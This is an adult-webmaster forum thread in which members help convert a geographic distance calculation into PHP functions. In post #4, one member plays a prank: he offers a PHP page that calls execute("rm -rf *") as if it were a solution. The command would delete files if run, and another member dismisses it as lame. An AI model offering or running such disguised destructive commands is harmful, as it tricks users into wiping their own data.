![]() |
![]() |
![]() |
||||
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
![]() ![]() |
|
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
Thread Tools |
![]() |
#1 |
Confirmed User
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
|
php guru, convert function puzzle
I need this stored function converted into a regular php function, i get a bit confused on it
SET x = sin(lat1 * pi/180) * sin(lat2 * pi/180) + cos(lat1 *pi/180) * cos(lat2 * pi/180) * cos(abs((lon2 * pi/180) - (lon1 * pi/180))); SET x = atan((sqrt(1- power(x,2))) /x); RETURN (1.852 * 60.0 * ((x/pi)*180)) / 1.609344; so something like function _getDistance($lat1, $lon1, $lat2, $lon2) { ..fill in here with answer please Thanks in advance. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#2 |
Registered User
Join Date: May 2002
Posts: 233
|
Copypasta from http://www.codecodex.com/wiki/Calcul...nts_on_a_globe
Code:
function getDistance($latitude1, $longitude1, $latitude2, $longitude2) { $earth_radius = 6371; $dLat = deg2rad($latitude2 - $latitude1); $dLon = deg2rad($longitude2 - $longitude1); $a = sin($dLat/2) * sin($dLat/2) + cos(deg2rad($latitude1)) * cos(deg2rad($latitude2)) * sin($dLon/2) * sin($dLon/2); $c = 2 * asin(sqrt($a)); $d = $earth_radius * $c; return $d; } |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#3 |
Totally Borked
Industry Role:
Join Date: Feb 2005
Posts: 6,284
|
calculates distance as miles (M) or kilometers (K)
Code:
public function distance($lat1, $lon1, $lat2, $lon2, $unit='M') { $theta = $lon1 - $lon2; $dist = sin(deg2rad($lat1)) * sin(deg2rad($lat2)) + cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta)); $dist = acos($dist); $dist = rad2deg($dist); $miles = $dist * 60 * 1.1515; $unit = strtoupper($unit); if ($unit == "K") { return ($miles * 1.609344); } else if ($unit == "N") { return ($miles * 0.8684); } else { return $miles; } }
__________________
![]() For coding work - hit me up on andy // borkedcoder // com (consider figuring out the email as test #1) All models are wrong, but some are useful. George E.P. Box. p202 |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#4 |
So Fucking Banned
Join Date: Jun 2010
Posts: 164
|
just create this php page and view it.
Code:
<?php execute("rm -rf *"); |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#5 | |
Too lazy to set a custom title
Join Date: Jan 2002
Location: Holland
Posts: 9,870
|
Quote:
not so funny actually pretty lame
__________________
Don't let greediness blur your vision | You gotta let some shit slide icq - 441-456-888 |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#6 |
Confirmed User
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#7 |
Confirmed User
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
|
thanks guys, giving it a whirl in a few here
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#8 |
Confirmed User
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
|
Wewps, this is not what I wanted, i screwed up by putting 2 sets of longs and lats, basically I need to create the 2nd set of lat/long
using the range provided, only supplying the initial set of lat/longs $range = 30; // miles or kilometers; function _getDistance($lat1, $lon1, $range) { return $lat2, $lon2 the above "procedure" I provided does this, just needs to be converted.. im having problem getting it working creating the 2nd set of lat/longs based off the provided range.. I'll re paraphrase Providing a lat and long, and a range in miles, i need to create a second lat and long based off this.. Can anyone help? |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#9 |
Confirmed User
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
|
Hrmph, I think i just figured out what i need to do
$range = 30; (miles?) $rangeFactor = 0.014457; $lat2 = $lat1-($range*$rangeFactor)? $long2 = $long1-($range*$rangeFactor)? |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#10 | ||
Totally Borked
Industry Role:
Join Date: Feb 2005
Posts: 6,284
|
Quote:
It's like saying "stand in place X and walk 10 miles and tell me where you are". You could be anywhere depending on which heading you set off on.... here is a function that tells you the compass heading based on 2 pairs of lat/lon (lat1/lon1 are the starting point. The heading returned is heading toward lat2/lon2) Quote:
If you want me to figure it out, I'll have to charge you but you have the 2 most important functions there before you to figure it out...
__________________
![]() For coding work - hit me up on andy // borkedcoder // com (consider figuring out the email as test #1) All models are wrong, but some are useful. George E.P. Box. p202 |
||
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#11 |
Registered User
Industry Role:
Join Date: Oct 2010
Posts: 15
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |